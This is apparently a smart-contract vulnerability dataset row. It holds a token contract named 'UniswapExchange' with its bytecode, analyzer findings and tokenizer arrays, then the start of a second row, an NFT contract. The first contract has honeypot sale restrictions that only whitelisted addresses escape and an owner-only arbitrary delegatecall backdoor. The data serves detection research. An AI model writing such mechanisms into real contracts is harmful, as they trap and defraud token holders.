internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x6080604052600436106100c25760003560e01c806370a082311161007f578063a9059cbb11610059578063a9059cbb1461045e578063aa2f5220146104c4578063d6d2b6ba1461059e578063dd62ed3e14610679576100c2565b806370a08231146103025780638cd8db8a1461036757806395d89b41146103ce576100c2565b806306fdde03146100c7578063095ea7b31461015757806318160ddd146101bd57806321a9cf34146101e857806323b872dd14610251578063313ce567146102d7575b600080fd5b3480156100d357600080fd5b506100dc6106fe565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061079c565b604051808215151515815260200191505060405180910390f35b3480156101c957600080fd5b506101d261088e565b6040518082815260200191505060405180910390f35b3480156101f457600080fd5b506102376004803603602081101561020b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610894565b604051808215151515815260200191505060405180910390f35b6102bd6004803603606081101561026757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061093a565b604051808215151515815260200191505060405180910390f35b3480156102e357600080fd5b506102ec610c4d565b6040518082815260200191505060405180910390f35b34801561030e57600080fd5b506103516004803603602081101561032557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c52565b6040518082815260200191505060405180910390f35b34801561037357600080fd5b506103b46004803603606081101561038a57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050610c6a565b604051808215151515815260200191505060405180910390f35b3480156103da57600080fd5b506103e3610d0e565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610423578082015181840152602081019050610408565b50505050905090810190601f1680156104505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104aa6004803603604081101561047457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dac565b604051808215151515815260200191505060405180910390f35b610584600480360360408110156104da57600080fd5b81019080803590602001906401000000008111156104f757600080fd5b82018360208201111561050957600080fd5b8035906020019184602083028401116401000000008311171561052b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610dc1565b604051808215151515815260200191505060405180910390f35b610677600480360360408110156105b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156105f157600080fd5b82018360208201111561060357600080fd5b8035906020019184600183028401116401000000008311171561062557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061102a565b005b34801561068557600080fd5b506106e86004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113b565b6040518082815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107945780601f1061076957610100808354040283529160200191610794565b820191906000526020600020905b81548152906001019060200180831161077757829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108f057600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60008082141561094d5760019050610c46565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a945781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a0957600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b610a9f848484611160565b610aa857600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610af457600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b60066020528060005260406000206000915090505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cc657600080fd5b60008311610cd5576000610cdd565b6012600a0a83025b60028190555060008211610cf2576000610cfa565b6012600a0a82025b600381905550836004819055509392505050565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610da45780601f10610d7957610100808354040283529160200191610da4565b820191906000526020600020905b815481529060010190602001808311610d8757829003601f168201915b505050505081565b6000610db933848461093a565b905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b600083518302905080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e7157600080fd5b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060008090505b845181101561101e576000858281518110610edb57fe5b6020026020010151905084600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028881610f8b57fe5b046040518082815260200191505060405180910390a38073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028881610ffa57fe5b046040518082815260200191505060405180910390a3508080600101915050610ec4565b50600191505092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461108457600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16816040518082805190602001908083835b602083106110cf57805182526020820191506020810190506020830392506110ac565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d806000811461112f576040519150601f19603f3d011682016040523d82523d6000602084013e611134565b606091505b5050505050565b6007602052816000526040600020602052806000526040600020600091509150505481565b600080611196735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc23061139c565b9050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614806112415750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8061128b5750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806112c157508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806113195750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8061136d5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561137c576001915050611395565b611386858461152a565b61138f57600080fd5b60019150505b9392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16106113db5783856113de565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b60008060045414801561153f57506000600254145b801561154d57506000600354145b1561155b57600090506115fa565b600060045411156115b7576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106115b657600090506115fa565b5b600060025411156115d6578160025411156115d557600090506115fa565b5b600060035411156115f5576003548211156115f457600090506115fa565b5b600190505b9291505056fea265627a7a72315820ea4d30ddca1039169b136c3889873531ea5c379200f72e26863e15f2faeb9c7164736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'controlled-delegatecall', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-lowlevel', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 14142, 2581, 2278, 2487, 2063, 2575, 2683, 2487, 2063, 28154, 10322, 2497, 2692, 29292, 21084, 2475, 2546, 16409, 2063, 2620, 21057, 2620, 2620, 2683, 26224, 16048, 2620, 2620, 2683, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 2459, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 3815, 1007, 6327, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,694
0x97308738335a42e9b67fdbb1d0c0f92158cbf75a
// SPDX-License-Identifier: GPL-3.0 // Based on HashLips code. pragma solidity >=0.4.22 <0.9.0; // File: @openzeppelin/contracts/utils/introspection/IERC165.sol /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/Strings.sol /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as 